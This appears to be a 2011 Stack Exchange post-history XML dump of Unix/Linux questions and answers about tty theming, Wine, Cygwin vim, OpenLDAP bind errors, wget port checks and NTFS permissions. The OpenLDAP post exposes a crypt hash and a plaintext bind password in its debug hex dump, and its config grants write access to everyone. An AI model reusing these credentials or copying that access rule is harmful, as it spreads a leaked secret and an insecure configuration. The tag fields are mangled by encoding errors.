  <row Id="28559" PostHistoryTypeId="5" PostId="10987" RevisionGUID="2fc2898f-fd58-4d93-974c-3093f8d50c5c" CreationDate="2011-04-21T05:03:42.000" UserId="6439" Comment="deleted 1091 characters in body" Text="Hello fellow unix/linux/bsd/etc users, I have recently tried out openSUSE and found that the tty1 is a bit different from Debian(-based) systems as the tty has been themed. I know that Knoppix has a tux penguin for each core the computer had, but I'm not sure how I can get a custom tty theme. So it got me thinking how can this be done. Google for some reason is not being friendly with the results, no matter what I try all links that are actually related have no answers. I want to have a tty terminal have a background image. &#xD;&#xA;&#xD;&#xA;###OpenSUSE Gnome-shell liveCD: Example.&#xD;&#xA;When you boot up openSUSE, you see a splash screen (on tty1) so you press [Esc] the splash screen goes away, but you keep the background and the text explaining where we are up to whilst booting. Okay openSUSE have not themed all of the ttys on this liveCD but they have with the stable release.&#xD;&#xA;&#xD;&#xA;###How exactly have they done this?&#xD;&#xA;###How can it be done in Debian stable &amp; testing?&#xD;&#xA;###Does it require re-compiling the Linux kernel?&#xD;&#xA;###Can this be done with other kernels such as kFreeBSD?&#xD;&#xA;###What can tty themes do when it comes to styling the terminal?&#xD;&#xA;- Can tty themes set a different background image for each tty?&#xD;&#xA; - If yes how?&#xD;&#xA;- Can a tty theme change the color of the text?&#xD;&#xA;- How are the themes made?&#xD;&#xA; - Do they have a file in which follows a template?&#xD;&#xA;###Edit: Frame-buffer is what is being used, now how do i use it?&#xD;&#xA;    mplayer -vo fbdev google_main.mp4 # http://youtube.com/demo/google_main.mp4&#xD;&#xA;Mplayer is using frame-buffer to watch videos on a tty terminal. So how can I make a underlay? (opposite to overlay in which mplayer has done)" />
  <row Id="28560" PostHistoryTypeId="2" PostId="11753" RevisionGUID="64645078-6693-4d33-b189-d57e06419c6c" CreationDate="2011-04-21T05:28:51.307" UserId="6342" Text="Is there a version of Wine that actually runs mainstream chat clients? I'm willing to consider commercial forks. I'd need it to support at least:&#xD;&#xA;&#xD;&#xA;- Yahoo&#xD;&#xA;- QQ&#xD;&#xA;- Skype (yes there's a native client but it's too outdated)&#xD;&#xA;&#xD;&#xA;all with full voice and video support. Supporting more would be nice too.&#xD;&#xA;&#xD;&#xA;Unfortunately all versions of Wine I've tried have either completely failed to run QQ, or botched the character encoding badly, showing Chinese correctly in some places and interpreting it as Latin-1 in other places, and I haven't gotten webcam/video chat support to work anywhere.&#xD;&#xA;&#xD;&#xA;Is this just hopeless?&#xD;&#xA;" />
  <row Id="28561" PostHistoryTypeId="1" PostId="11753" RevisionGUID="64645078-6693-4d33-b189-d57e06419c6c" CreationDate="2011-04-21T05:28:51.307" UserId="6342" Text="Is there a version of Wine that actually runs mainstream chat clients?" />
  <row Id="28562" PostHistoryTypeId="3" PostId="11753" RevisionGUID="64645078-6693-4d33-b189-d57e06419c6c" CreationDate="2011-04-21T05:28:51.307" UserId="6342" Text="élinuxàéwineàéwebcamà" />
  <row Id="28563" PostHistoryTypeId="2" PostId="11754" RevisionGUID="fde89ca4-459f-4558-bd6b-76693caf0ec3" CreationDate="2011-04-21T05:41:18.297" UserId="2978" Text="Cygwin vim ships with vim's default configuration, which leaves vim in vi compatibility mode where it tries to emulate the original vi as closely as possible. Among other limitations, arrow keys do not work in that mode, and backspace just moves the cursor left rather than erasing a character.&#xD;&#xA;&#xD;&#xA;Creating an empty `~/.vimrc` is sufficient to disable vi compatibility mode:&#xD;&#xA;&#xD;&#xA;    touch ~/.vimrc&#xD;&#xA;&#xD;&#xA;Having said that, &lt;kbd&gt;i&lt;/kbd&gt; to enter insert mode should work anyway. You'll need to provide more details on where and how you're running vim. Also, are you actually running the vim that comes with Cygwin, or the native Windows version of vim?" />
  <row Id="28564" PostHistoryTypeId="25" PostId="11748" RevisionGUID="4c796c5a-7864-4dc7-8ac4-65ac3b31bbfd" CreationDate="2011-04-21T06:09:09.717" Comment="http://twitter.com/#!/StackUnix/status/60948166207479808" />
  <row Id="28565" PostHistoryTypeId="5" PostId="11738" RevisionGUID="012d22a6-f2eb-4a32-9153-297588dc6639" CreationDate="2011-04-21T06:11:33.283" UserId="3372" Comment="added 32 characters in body" Text="The scope of the standard input it's the script itself, so just put your code inside a blocku like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      diff file1 &lt;(sort file2)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA; In this way the scope of the STDIN it's  inside the block..&#xD;&#xA;&#xD;&#xA;I've tried and it works." />
  <row Id="28566" PostHistoryTypeId="5" PostId="11752" RevisionGUID="0ffbf50b-6cdd-4f64-9198-dd862af3c2e8" CreationDate="2011-04-21T06:12:33.580" UserId="6439" Comment="added 1 characters in body" Text="Hello fellow linux, unix, bsd, etc users, I was just wondering if this was a good idea? &#xD;&#xA;&#xD;&#xA;If you goto a TLD registrar such as [Internet2tld.com](http://internet2tlds.com/) or [tld.name](http://tld.name) you can see that it allows you to register a TLD for free. So why not make a TLD for the linux, unix, bsd, etc community. How about .dist or .distro.&#xD;&#xA;&#xD;&#xA;###Lower level domains: .dist or .distro, either way still works.&#xD;&#xA;- [list.dist](http://list.dist) -- A list of distributions that anyone can go and download and use.&#xD;&#xA;- [dist-name.dist](http://dist-name.dist) -- Eg debian.dist, arch.dist, opensuse.dist, and so on. (Donated to the distribution's community of maintainers, if they use it is another question)&#xD;&#xA;- [linux.dist](http://linux.dist) --- Same as list.dist except a filter for only Linux distributions.&#xD;&#xA;- [bsd.dist](http://bsd.dist) --- Same deal as linux.dist.&#xD;&#xA;- [mirror.dist](http://mirror.dist) --- A mirror that hosts all of the main distributions. &#xD;&#xA;- [irc.dist](http://irc.dist) --- IRC server for every distribution, #debian, #arch-linux, #opensuse, etc.&#xD;&#xA;- [paste.dist](http://paste.dist) --- Paste service for anyone to use.&#xD;&#xA;- [faq.dist](http://faq.dist) --- Given to the stack-exchange. ;)&#xD;&#xA;- [bugs.dist](http://bugs.dist) --- Bug tracker for all source packages. (Only packages with source code, AKA free, not non-free nor contrib)&#xD;&#xA;- [live.dist](http://live.dist) --- A live package source editor for any authorized developers.&#xD;&#xA;&#xD;&#xA;###More info on the live.dist idea:&#xD;&#xA;The [live.dist](http://live.dist) would be a mix of the above domains, irc, bugs and live-collaborative editing source code for all packages.&#xD;&#xA;&#xD;&#xA;- The irc part could be somewhat like gnome-shell and facebook for the chat. (can disable)&#xD;&#xA;- All packages can be collaboratively edited and managed by anyone who is registered, everything would be logged for security reasons.&#xD;&#xA;- When editing a package's source code (online) you would be able see the a list bugs on the right. (can disable)&#xD;&#xA;- Sandbox compile to binary. Once compiled in a sandbox, you would be able to download a .tgz file containing all of the compiled binary files, all ready for testing and bug hunting. ;)&#xD;&#xA;- Source code would be originally pulled from heavy development distributions stable repositories, in Debian's case that would be from Debian-testing as stable it just crazy stable ;)&#xD;&#xA;- Main idea of this is to be able to close bugs faster and far more efficiently, allowing stable distributions to be able to get the newer packages, and be far more secure.&#xD;&#xA;&#xD;&#xA;###Why an account to manage package source?&#xD;&#xA;All modifications to the packages would be recorded allowing it to be easy to know how and when some package broke, allowing it to be fixed sooner. Accounts would make this all easier to maintain, maybe even have reputation like stackexchange to allow the developer to modify more advanced packages that newbies could too easily break.&#xD;&#xA;&#xD;&#xA;###So what do you think?&#xD;&#xA;Any suggestions for the idea? Anything wrong with the idea?" />
  <row Id="28567" PostHistoryTypeId="2" PostId="11755" RevisionGUID="b2befc2b-e522-4f54-8652-1bbf72a71e5e" CreationDate="2011-04-21T06:45:06.187" UserId="6824" Text="Hi,&#xD;&#xA;I'm trying to set up the openLdap server and after following the instructions I'm stuck at the point where I can't add any data.&#xD;&#xA;&#xD;&#xA;The error I'm getting is&#xD;&#xA;&#xD;&#xA;    ldap_bind: Invalid credentials (49)&#xD;&#xA;&#xD;&#xA;Please help me in this issue. And be patient while reading the debug data and the slapd.conf file because they are quite long.&#xD;&#xA;&#xD;&#xA;My system is: Red Hat Enterprise Linux 6.0  &#xD;&#xA;Installed openLdap using yum openldap*   &#xD;&#xA;&#xD;&#xA;Here is my slapd.conf file:&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # See slapd.conf(5) for details on configuration options.&#xD;&#xA;    # This file should NOT be world readable.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    include		/etc/openldap/schema/corba.schema&#xD;&#xA;    include		/etc/openldap/schema/core.schema&#xD;&#xA;    include		/etc/openldap/schema/cosine.schema&#xD;&#xA;    include		/etc/openldap/schema/duaconf.schema&#xD;&#xA;    include		/etc/openldap/schema/dyngroup.schema&#xD;&#xA;    include		/etc/openldap/schema/inetorgperson.schema&#xD;&#xA;    include		/etc/openldap/schema/java.schema&#xD;&#xA;    include		/etc/openldap/schema/misc.schema&#xD;&#xA;    include		/etc/openldap/schema/nis.schema&#xD;&#xA;    include		/etc/openldap/schema/openldap.schema&#xD;&#xA;    include		/etc/openldap/schema/ppolicy.schema&#xD;&#xA;    include		/etc/openldap/schema/collective.schema&#xD;&#xA;    &#xD;&#xA;    # Allow LDAPv2 client connections.  This is NOT the default.&#xD;&#xA;    allow bind_v2&#xD;&#xA;    &#xD;&#xA;    # Do not enable referrals until AFTER you have a working directory&#xD;&#xA;    # service AND an understanding of referrals.&#xD;&#xA;    #referral	ldap://root.openldap.org&#xD;&#xA;    &#xD;&#xA;    pidfile		/var/run/openldap/slapd.pid&#xD;&#xA;    argsfile	/var/run/openldap/slapd.args&#xD;&#xA;    &#xD;&#xA;    # Load dynamic backend modules:&#xD;&#xA;    # Module syncprov.la is now statically linked with slapd and there&#xD;&#xA;    # is no need to load it here&#xD;&#xA;    # modulepath	/usr/lib/openldap # or /usr/lib64/openldap&#xD;&#xA;    # moduleload accesslog.la&#xD;&#xA;    # moduleload auditlog.la&#xD;&#xA;    ## To load this module, you have to install openldap-server-sql first&#xD;&#xA;    # moduleload back_sql.la&#xD;&#xA;    ## Following two modules can't be loaded simultaneously&#xD;&#xA;    # moduleload dyngroup.la&#xD;&#xA;    # moduleload dynlist.la&#xD;&#xA;    # moduleload lastmod.la&#xD;&#xA;    # moduleload pcache.la&#xD;&#xA;    # moduleload ppolicy.la&#xD;&#xA;    # moduleload refint.la&#xD;&#xA;    # moduleload retcode.la&#xD;&#xA;    # moduleload rwm.la&#xD;&#xA;    # moduleload translucent.la&#xD;&#xA;    # moduleload unique.la&#xD;&#xA;    # moduleload valsort.la&#xD;&#xA;    &#xD;&#xA;    # The next three lines allow use of TLS for encrypting connections using a&#xD;&#xA;    # dummy test certificate which you can generate by changing to&#xD;&#xA;    # /etc/pki/tls/certs, running &quot;make slapd.pem&quot;, and fixing permissions on&#xD;&#xA;    # slapd.pem so that the ldap user or group can read it.  Your client software&#xD;&#xA;    # may balk at self-signed certificates, however.&#xD;&#xA;    # TLSCACertificateFile /etc/pki/tls/certs/ca-bundle.crt&#xD;&#xA;    # TLSCertificateFile /etc/pki/tls/certs/slapd.pem&#xD;&#xA;    # TLSCertificateKeyFile /etc/pki/tls/certs/slapd.pem&#xD;&#xA;    &#xD;&#xA;    # Sample security restrictions&#xD;&#xA;    #	Require integrity protection (prevent hijacking)&#xD;&#xA;    #	Require 112-bit (3DES or better) encryption for updates&#xD;&#xA;    #	Require 63-bit encryption for simple bind&#xD;&#xA;    # security ssf=1 update_ssf=112 simple_bind=64&#xD;&#xA;    &#xD;&#xA;    # Sample access control policy:&#xD;&#xA;    #	Root DSE: allow anyone to read it&#xD;&#xA;    #	Subschema (sub)entry DSE: allow anyone to read it&#xD;&#xA;    #	Other DSEs:&#xD;&#xA;    #		Allow self write access&#xD;&#xA;    #		Allow authenticated users read access&#xD;&#xA;    #		Allow anonymous users to authenticate&#xD;&#xA;    #	Directives needed to implement policy:&#xD;&#xA;    # access to dn.base=&quot;&quot; by * read&#xD;&#xA;    # access to dn.base=&quot;cn=Subschema&quot; by * read&#xD;&#xA;    # access to *&#xD;&#xA;    #	by self write&#xD;&#xA;    #	by users read&#xD;&#xA;    #	by anonymous auth&#xD;&#xA;    #&#xD;&#xA;    # if no access controls are present, the default policy&#xD;&#xA;    # allows anyone and everyone to read anything but restricts&#xD;&#xA;    # updates to rootdn.  (e.g., &quot;access to * by * read&quot;)&#xD;&#xA;    #&#xD;&#xA;    # rootdn can always read and write EVERYTHING!&#xD;&#xA;    &#xD;&#xA;    #######################################################################&#xD;&#xA;    # ldbm and/or bdb database definitions&#xD;&#xA;    #######################################################################&#xD;&#xA;    &#xD;&#xA;    database	bdb&#xD;&#xA;    suffix dc=ttsbroot,dc=teleotele&#xD;&#xA;    #checkpoint	1024 15&#xD;&#xA;    rootdn cn=shamal,dc=ttsbroot,dc=teleotele&#xD;&#xA;    # Cleartext passwords, especially for the rootdn, should&#xD;&#xA;    # be avoided.  See slappasswd(8) and slapd.conf(5) for details.&#xD;&#xA;    # Use of strong authentication encouraged.&#xD;&#xA;    rootpw {crypt}49/WKVk.6oz3o&#xD;&#xA;    # rootpw		secret&#xD;&#xA;    # rootpw		{crypt}ijFYNcSNctBYg&#xD;&#xA;    &#xD;&#xA;    # The database directory MUST exist prior to running slapd AND &#xD;&#xA;    # should only be accessible by the slapd and slap tools.&#xD;&#xA;    # Mode 700 recommended.&#xD;&#xA;    directory	/var/lib/ldap&#xD;&#xA;    &#xD;&#xA;    # Indices to maintain for this database&#xD;&#xA;    index objectClass                       eq,pres&#xD;&#xA;    index ou,cn,mail,surname,givenname      eq,pres,sub&#xD;&#xA;    index uidNumber,gidNumber,loginShell    eq,pres&#xD;&#xA;    index uid,memberUid                     eq,pres,sub&#xD;&#xA;    index nisMapName,nisMapEntry            eq,pres,sub&#xD;&#xA;    &#xD;&#xA;    # Replicas of this database&#xD;&#xA;    #replogfile /var/lib/ldap/openldap-master-replog&#xD;&#xA;    #replica host=ldap-1.example.com:389 starttls=critical&#xD;&#xA;    #     bindmethod=sasl saslmech=GSSAPI&#xD;&#xA;    #     authcId=host/ldap-master.example.com@EXAMPLE.COM&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # enable monitoring&#xD;&#xA;    database monitor&#xD;&#xA;    &#xD;&#xA;    # allow onlu rootdn to read the monitor&#xD;&#xA;    access to * by * write by * read by * search by * auth&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm adding the debug data returned when I added -d 255 argument.&#xD;&#xA;&#xD;&#xA;    [root@TTSBROOT Documents]# ldapadd -D &quot;cn=shamal,dc=TTSBROOT,dc=teleotele&quot; -W -x -a -f teleotele.ldif -d 255&#xD;&#xA;    ldap_create&#xD;&#xA;    Enter LDAP Password: &#xD;&#xA;    ldap_sasl_bind&#xD;&#xA;    ldap_send_initial_request&#xD;&#xA;    ldap_new_connection 1 1 0&#xD;&#xA;    ldap_int_open_connection&#xD;&#xA;    ldap_connect_to_host: TCP localhost:389&#xD;&#xA;    ldap_new_socket: 4&#xD;&#xA;    ldap_prepare_socket: 4&#xD;&#xA;    ldap_connect_to_host: Trying 127.0.0.1:389&#xD;&#xA;    ldap_pvt_connect: fd: 4 tm: -1 async: 0&#xD;&#xA;    ldap_open_defconn: successful&#xD;&#xA;    ldap_send_server_request&#xD;&#xA;    ber_scanf fmt ({it) ber:&#xD;&#xA;    ber_dump: buf=0x18345d0 ptr=0x18345d0 end=0x1834612 len=66&#xD;&#xA;      0000:  30 84 00 00 00 3c 02 01  01 60 84 00 00 00 33 02   0....&lt;...`....3.  &#xD;&#xA;      0010:  01 03 04 22 63 6e 3d 73  68 61 6d 61 6c 2c 64 63   ...&quot;cn=shamal,dc  &#xD;&#xA;      0020:  3d 54 54 53 42 52 4f 4f  54 2c 64 63 3d 74 65 6c   =TTSBROOT,dc=tel  &#xD;&#xA;      0030:  65 6f 74 65 6c 65 80 0a  73 68 61 6d 61 6c 31 32   eotele..shamal12  &#xD;&#xA;      0040:  33 34                                              34                &#xD;&#xA;    ber_scanf fmt ({i) ber:&#xD;&#xA;    ber_dump: buf=0x18345d0 ptr=0x18345d9 end=0x1834612 len=57&#xD;&#xA;      0000:  60 84 00 00 00 33 02 01  03 04 22 63 6e 3d 73 68   `....3....&quot;cn=sh  &#xD;&#xA;      0010:  61 6d 61 6c 2c 64 63 3d  54 54 53 42 52 4f 4f 54   amal,dc=TTSBROOT  &#xD;&#xA;      0020:  2c 64 63 3d 74 65 6c 65  6f 74 65 6c 65 80 0a 73   ,dc=teleotele..s  &#xD;&#xA;      0030:  68 61 6d 61 6c 31 32 33  34                        hamal1234         &#xD;&#xA;    ber_flush2: 66 bytes to sd 4&#xD;&#xA;      0000:  30 84 00 00 00 3c 02 01  01 60 84 00 00 00 33 02   0....&lt;...`....3.  &#xD;&#xA;      0010:  01 03 04 22 63 6e 3d 73  68 61 6d 61 6c 2c 64 63   ...&quot;cn=shamal,dc  &#xD;&#xA;      0020:  3d 54 54 53 42 52 4f 4f  54 2c 64 63 3d 74 65 6c   =TTSBROOT,dc=tel  &#xD;&#xA;      0030:  65 6f 74 65 6c 65 80 0a  73 68 61 6d 61 6c 31 32   eotele..shamal12  &#xD;&#xA;      0040:  33 34                                              34                &#xD;&#xA;    ldap_write: want=66, written=66&#xD;&#xA;      0000:  30 84 00 00 00 3c 02 01  01 60 84 00 00 00 33 02   0....&lt;...`....3.  &#xD;&#xA;      0010:  01 03 04 22 63 6e 3d 73  68 61 6d 61 6c 2c 64 63   ...&quot;cn=shamal,dc  &#xD;&#xA;      0020:  3d 54 54 53 42 52 4f 4f  54 2c 64 63 3d 74 65 6c   =TTSBROOT,dc=tel  &#xD;&#xA;      0030:  65 6f 74 65 6c 65 80 0a  73 68 61 6d 61 6c 31 32   eotele..shamal12  &#xD;&#xA;      0040:  33 34                                              34                &#xD;&#xA;    ldap_result ld 0x182c3e0 msgid 1&#xD;&#xA;    wait4msg ld 0x182c3e0 msgid 1 (infinite timeout)&#xD;&#xA;    wait4msg continue ld 0x182c3e0 msgid 1 all 1&#xD;&#xA;    ** ld 0x182c3e0 Connections:&#xD;&#xA;    * host: localhost  port: 389  (default)&#xD;&#xA;      refcnt: 2  status: Connected&#xD;&#xA;      last used: Fri Apr 22 14:24:17 2011&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    ** ld 0x182c3e0 Outstanding Requests:&#xD;&#xA;     * msgid 1,  origid 1, status InProgress&#xD;&#xA;       outstanding referrals 0, parent count 0&#xD;&#xA;      ld 0x182c3e0 request count 1 (abandoned 0)&#xD;&#xA;    ** ld 0x182c3e0 Response Queue:&#xD;&#xA;       Empty&#xD;&#xA;      ld 0x182c3e0 response count 0&#xD;&#xA;    ldap_chkResponseList ld 0x182c3e0 msgid 1 all 1&#xD;&#xA;    ldap_chkResponseList returns ld 0x182c3e0 NULL&#xD;&#xA;    ldap_int_select&#xD;&#xA;    read1msg: ld 0x182c3e0 msgid 1 all 1&#xD;&#xA;    ber_get_next&#xD;&#xA;    ldap_read: want=8, got=8&#xD;&#xA;      0000:  30 84 00 00 00 10 02 01                            0.......          &#xD;&#xA;    ldap_read: want=14, got=14&#xD;&#xA;      0000:  01 61 84 00 00 00 07 0a  01 31 04 00 04 00         .a.......1....    &#xD;&#xA;    ber_get_next: tag 0x30 len 16 contents:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a50 end=0x1835a60 len=16&#xD;&#xA;      0000:  02 01 01 61 84 00 00 00  07 0a 01 31 04 00 04 00   ...a.......1....  &#xD;&#xA;    read1msg: ld 0x182c3e0 msgid 1 message type bind&#xD;&#xA;    ber_scanf fmt ({eAA) ber:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a53 end=0x1835a60 len=13&#xD;&#xA;      0000:  61 84 00 00 00 07 0a 01  31 04 00 04 00            a.......1....     &#xD;&#xA;    read1msg: ld 0x182c3e0 0 new referrals&#xD;&#xA;    read1msg:  mark request completed, ld 0x182c3e0 msgid 1&#xD;&#xA;    request done: ld 0x182c3e0 msgid 1&#xD;&#xA;    res_errno: 49, res_error: &lt;&gt;, res_matched: &lt;&gt;&#xD;&#xA;    ldap_free_request (origid 1, msgid 1)&#xD;&#xA;    ldap_parse_result&#xD;&#xA;    ber_scanf fmt ({iAA) ber:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a53 end=0x1835a60 len=13&#xD;&#xA;      0000:  61 84 00 00 00 07 0a 01  31 04 00 04 00            a.......1....     &#xD;&#xA;    ber_scanf fmt (}) ber:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a60 end=0x1835a60 len=0&#xD;&#xA;    &#xD;&#xA;    ldap_msgfree&#xD;&#xA;    ldap_err2string&#xD;&#xA;    ldap_bind: Invalid credentials (49)&#xD;&#xA;    [root@TTSBROOT Documents]# &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Shamal&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    " />
  <row Id="28568" PostHistoryTypeId="1" PostId="11755" RevisionGUID="b2befc2b-e522-4f54-8652-1bbf72a71e5e" CreationDate="2011-04-21T06:45:06.187" UserId="6824" Text="ldap_bind: Invalid credentials (49)" />
  <row Id="28569" PostHistoryTypeId="3" PostId="11755" RevisionGUID="b2befc2b-e522-4f54-8652-1bbf72a71e5e" CreationDate="2011-04-21T06:45:06.187" UserId="6824" Text="élinuxàéconfigurationàérhelàéldapà" />
  <row Id="28570" PostHistoryTypeId="2" PostId="11756" RevisionGUID="34d59308-ab58-40e9-871b-54bf0067705e" CreationDate="2011-04-21T06:56:21.797" UserId="6825" Text="I use a fairly simple WGET command to verify if the IP Address and port are open or closed for a particular server (wget -a /tmp/ports.log -t1 -T1 10.178.30.45:443).&#xD;&#xA;&#xD;&#xA;The issue I have is that there are a number of servers that I need to check, and each server links to other IP addresses/ports.&#xD;&#xA;&#xD;&#xA;Currently I have several of these one liner type scripts deployed on each of the specific servers which require being run manually as and when required.&#xD;&#xA;&#xD;&#xA;Ideally, I am looking to customize this with one script that can recursively read in a flat file of IP addresses/ports using a WGET command. The resulting report produced will identify those that are not connected (ie: &quot;failed: Connection timed out.&quot;).  &#xD;&#xA;&#xD;&#xA;The script should ideally run from within windows rather than deployed and run on each of the server.  A list of user id’s/passwords can be obtained for each server if this needs to be passed via the script. &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Evan.&#xD;&#xA;" />
  <row Id="28571" PostHistoryTypeId="1" PostId="11756" RevisionGUID="34d59308-ab58-40e9-871b-54bf0067705e" CreationDate="2011-04-21T06:56:21.797" UserId="6825" Text="Identifying open and closed server IP Address/ports" />
  <row Id="28572" PostHistoryTypeId="3" PostId="11756" RevisionGUID="34d59308-ab58-40e9-871b-54bf0067705e" CreationDate="2011-04-21T06:56:21.797" UserId="6825" Text="éwgetà" />
  <row Id="28573" PostHistoryTypeId="5" PostId="11700" RevisionGUID="5d04dcba-a68f-4fc4-85aa-0a9f6d20f35f" CreationDate="2011-04-21T06:58:23.547" UserId="885" Comment="added -r to read to cope with `\`; undo attempt to print a shell script that wouldn't work with file names containing characters expandable in double quotes (`&quot;$\\\``); removed nagging of the asker" Text="Try this&#xD;&#xA;&#xD;&#xA;    mkdir /home/user/thumbs&#xD;&#xA;    targDir=/home/user/thumbs&#xD;&#xA;    &#xD;&#xA;    cd /home/user/temps&#xD;&#xA;    &#xD;&#xA;    find . -type d | &#xD;&#xA;     while IFS=&quot;&quot; read -r dir ; do&#xD;&#xA;       if [[ -f &quot;${dir}&quot;/thumb.png ]] ; then&#xD;&#xA;         echo mv -i &quot;${dir}/thumb.png&quot; &quot;${targDir}/${dir}_thumb.png&quot;&#xD;&#xA;       fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;I have added quoting in case any of your dir names have white-space chars embedded in them.&#xD;&#xA;&#xD;&#xA;Also I have changed this so it will **only** print out the commands to be executed.&#xD;&#xA;Examine the output of the script to be sure all files/path names look proper.&#xD;&#xA;When you're sure there are no issues with the commands that will be executed, remove the `echo`." />
  <row Id="28574" PostHistoryTypeId="2" PostId="11757" RevisionGUID="acb41c8e-4486-4026-ad93-6be8c3002223" CreationDate="2011-04-21T07:04:52.393" UserId="6030" Text="I'm having some doubts about how to install and allow linux to correctly read/write to a *NTFS* formated harddrive used as backup of various machines (windows included, that's how I need *NTFS*).&#xD;&#xA;&#xD;&#xA;For now I've read some pages and I have the feeling I need someone else's guidance, from who already did this step-by-step, to not ruin things here.&#xD;&#xA;&#xD;&#xA;What I need is to be able to save a linux file, with its **chown** and **chmod** settings, to a *NTFS* filesystem, and be able to retrieve this information back.&#xD;&#xA;&#xD;&#xA;What I have today is a *NTFS* that saves all files with the **owner:group** of who mounted the volume, and permissions **rwxrwxrwx** for all.&#xD;&#xA;&#xD;&#xA;I've come to read [this article](http://www.tuxera.com/community/ntfs-3g-advanced/ownership-and-permissions/) but it is too much information and I could not understand some trick things when trying to actually implement:&#xD;&#xA;&#xD;&#xA; * Is it stable in the current version?&#xD;&#xA; * Do UBUNTU 10.04 have all things needed already? Or do I need to install anything?&#xD;&#xA; * What is the relation of POSIX ACL to this? Do I need install anything regarding this or just ntfs-3g will do?&#xD;&#xA; * Where are UBUNTU packages to run with apt-get?&#xD;&#xA; * If I map the users (with *usermap*) can bring the HardDrive to another computer with different users, will I be able to read them? (Under linux/windows)?&#xD;&#xA;&#xD;&#xA; For one thing I noticed, `usermap` was not ready to use. So I download and compiled (but not installed because I was afraid to mess things here), the last version of ntfs-3g. In the **README** file it says:&#xD;&#xA;&#xD;&#xA;    &gt; TESTING WITHOUT INSTALLING&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; Newer versions of ntfs-3g can be&#xD;&#xA;    &gt; tested without installing anything and&#xD;&#xA;    &gt; without disturbing an existing&#xD;&#xA;    &gt; installation. Just configure and make&#xD;&#xA;    &gt; as shown previously. This will create&#xD;&#xA;    &gt; the scripts ntfs-3g and lowntfs-3g in&#xD;&#xA;    &gt; the src directory, which you may&#xD;&#xA;    &gt; activate for testing :&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;         ./configure&#xD;&#xA;    &gt;         make&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;   then, as root :&#xD;&#xA;    &gt;         src/ntfs-3g [-o mount-options] /dev/sda1 /mnt/windows&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;   And, to end the test, unmount the&#xD;&#xA;    &gt; usual way :&#xD;&#xA;    &gt;         umount /dev/sda1&#xD;&#xA;&#xD;&#xA; But it tells nothing about the mount-options that I need to use to have full backups (full == backuping/restoring files, owners, groups and permissions).&#xD;&#xA;&#xD;&#xA;[This faq](http://www.tuxera.com/community/ntfs-3g-faq/#permissions) says:&#xD;&#xA;&#xD;&#xA;    Why have chmod and chown no effect?&#xD;&#xA;    &#xD;&#xA;    By default files on NTFS are owned by root with full access to everyone. &#xD;&#xA;    To get standard per-file protection you should mount with the &quot;permissions&quot;&#xD;&#xA;    option. Moreover, if you want the permissions to be interoperable with a&#xD;&#xA;    specific Windows configuration, you have to map the users.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, I did used the `ntfs-3g.usermap /dev/sdb2` tools to create the map file and got this result:&#xD;&#xA;&#xD;&#xA;    # Generated by usermap for Linux, v 1.1.4&#xD;&#xA;    :carl:S-1-5-21-889330461-3416208041-4118870141-511&#xD;&#xA;    :default:S-1-5-21-2592120051-4195220491-4132615201-511&#xD;&#xA;    carl:carl:S-1-5-21-889330462-3416208046-4118870148-1000&#xD;&#xA;&#xD;&#xA;Now this default was mapped because I wrote &quot;**default**&quot; to one file that was under the default user during the inquiring. I'm not sure if I did that right. I don't care for any users but **carl** (and **root** for that matters), and for any other groups but **users**. I saw the FAQ telling me to answer the group with the username. Isn't it the case to tell the group as &quot;**user**&quot;? And how can I check, booting windows, if this mapping is correct?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Beco.&#xD;&#xA;&#xD;&#xA;Briefing the question:&#xD;&#xA;&#xD;&#xA; 1. I need **rsync** to save linux files and windows files from various computers, to a NTFS external USB HD, without losing file permissions. &#xD;&#xA; 2. I don't know how to install and run the driver ntfs-3g to allow chown, chmod and anything else that is needed to make that possible. What options, and where?&#xD;&#xA; 3. All computers have carl username, but that doesn't guarantee that their SID, UID or GID are the same.&#xD;&#xA; 4. The environment is composed of 18 &quot;documents&quot; folders, 6 of them linux, 6 of them win7, 6 of them virtualbox win XP. All of them will be a single &quot;documents&quot; folder into the NTFS external hard drive.&#xD;&#xA;&#xD;&#xA;Reference:&#xD;&#xA;&#xD;&#xA; - I also read this forum, and maybe it is useful to someone trying to help me here. www.tuxera.com/forum/viewtopic.php?f=2&amp;t=1284&#xD;&#xA; - Also thought of these other three solutions, making the filesystem ext. But the external HD may be used in windows boxes I could not install or have write to install drivers. So it needs to be readable easily by any windows and NTFS is the standard. www.howtoforge.com/access-linux-partitions-from-windows&#xD;&#xA;&#xD;&#xA;Please, make this answer a nice howto that will be indexed and googled all around the world, bringing here people with the same doubt. Because all my google searches was too much technical to follow. Thanks very much.&#xD;&#xA;" />
  <row Id="28575" PostHistoryTypeId="1" PostId="11757" RevisionGUID="acb41c8e-4486-4026-ad93-6be8c3002223" CreationDate="2011-04-21T07:04:52.393" UserId="6030" Text="NTFS under linux" />
  <row Id="28576" PostHistoryTypeId="3" PostId="11757" RevisionGUID="acb41c8e-4486-4026-ad93-6be8c3002223" CreationDate="2011-04-21T07:04:52.393" UserId="6030" Text="élinuxàépermissionsàébackupàéchmodàéntfsö3gà" />
